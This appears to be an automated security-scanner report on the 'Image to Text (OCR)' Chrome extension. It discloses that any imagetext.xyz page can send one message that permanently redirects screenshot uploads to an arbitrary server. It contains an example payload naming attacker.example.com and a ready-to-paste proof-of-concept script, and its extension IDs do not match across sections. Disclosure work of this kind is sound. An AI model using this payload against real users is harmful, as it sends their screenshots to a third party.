Is Image to Text (OCR) safe?

High risk

Image to Text is high risk. Any page on imagetext.xyz can send one message to permanently change where screenshots upload. Afterward every screenshot goes to a server the site chose, not you or the developer. It persists in local storage across restarts.

chromium-devsv4.0.0Chrome Web Store
72Risk
Who publishes it

chromium-devs - 1 other listing from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
chromium-devs

Same store account

1 other listing published from this account, 40k+ users between them, none of them carrying a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

imagetext.xyz Can Permanently Redirect Screenshot Uploads to Any Server

Any page on imagetext.xyz can send one message to permanently change where screenshots upload.

Afterward every screenshot goes to a server the site chose, not you or the developer.

It persists in local storage across restarts.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

A page on imagetext.xyz sends a single message to the extension: `{ path: '/upgrade', endpoint: 'https://attacker.example.com' }`.

No user interaction is needed on that page. The message can be sent automatically on page load.

The extension did this

The extension writes the attacker-supplied URL to chrome.storage.local as the new upload endpoint.

Every screenshot you take from this point on is sent to the attacker's server, not imagetext.xyz. The change survives browser restarts.

Captured request
POSTchrome.runtime.sendMessage('lgmndanoffpkhcjcmenplkjahnffihlo', { path: '/upgrade', endpoint: 'https://a-planted-test-endpoint.example.com' })

Storage confirmed: endpoint changed from 'https://imagetext.xyz' to a planted test endpoint, confirming the redirect is accepted. Verified via dynamic analysis hook: chrome.storage.local.set([{endpoint:'https://a-planted-test-endpoint.example.com'},null]).

Body
{  "path": "/upgrade",  "endpoint": "https://a-planted-test-endpoint.example.com"}
What's stored on your device

After the redirect message, this value replaces 'https://imagetext.xyz'. Read on every screenshot upload.

Location
chrome.storage.local key 'endpoint'
Contents
{  "endpoint": "https://a-planted-test-endpoint.example.com"}
The code that does this

The /upgrade handler, accepts any endpoint URL without validation

Readable version

Readable equivalent

// Handles the /upgrade message from any externally_connectable origin.// n.endpoint comes directly from the caller — any URL is accepted.externalRouter.on('/upgrade', async function(req, sendResponse, options) {  const newEndpoint = req.endpoint;  // no validation, no allowlist  await storage.set({    endpoint: newEndpoint || 'https://imagetext.xyz'  // attacker can supply any URL  });  // All future screenshot uploads now go to newEndpoint});
Reproduce it yourself

Run this from any page on imagetext.xyz (open DevTools console while on the site). It sends the /upgrade message to redirect all future screenshot uploads to a URL you supply. After running it, take a screenshot with the extension and observe where the upload goes.

Requires
  • Chrome with the Image to Text OCR extension installed
  • A page open on imagetext.xyz (any path)
redirect-screenshot-endpoint.js · js
// redirect-screenshot-endpoint.js// Demonstrates endpoint redirect via the /upgrade external message.// Run from DevTools console on any page at imagetext.xyz.(function() {  const EXTENSION_ID = 'jgjlejdhmfpimggbicpffmpbnalcnhoo';  // Replace with your own server to observe the redirect.  const NEW_ENDPOINT = 'https://your-server.example.com';  chrome.runtime.sendMessage(    EXTENSION_ID,    { path: '/upgrade', endpoint: NEW_ENDPOINT },    function(response) {      console.log('[redirect] sendMessage callback:', response);      console.log('[redirect] Endpoint should now be:', NEW_ENDPOINT);      console.log('[redirect] Take a screenshot with the extension to confirm.');    }  );})();
How to run it
  1. 1Go to any page on imagetext.xyz.
  2. 2Open DevTools (F12), Console.
  3. 3Edit NEW_ENDPOINT to your server.
  4. 4Paste and run the script.
  5. 5Right-click any image, use Image to Text OCR.
  6. 6See the request go to your server.
Updated 30 September 2026jgjlejdhmfpimggbicpffmpbnalcnhoo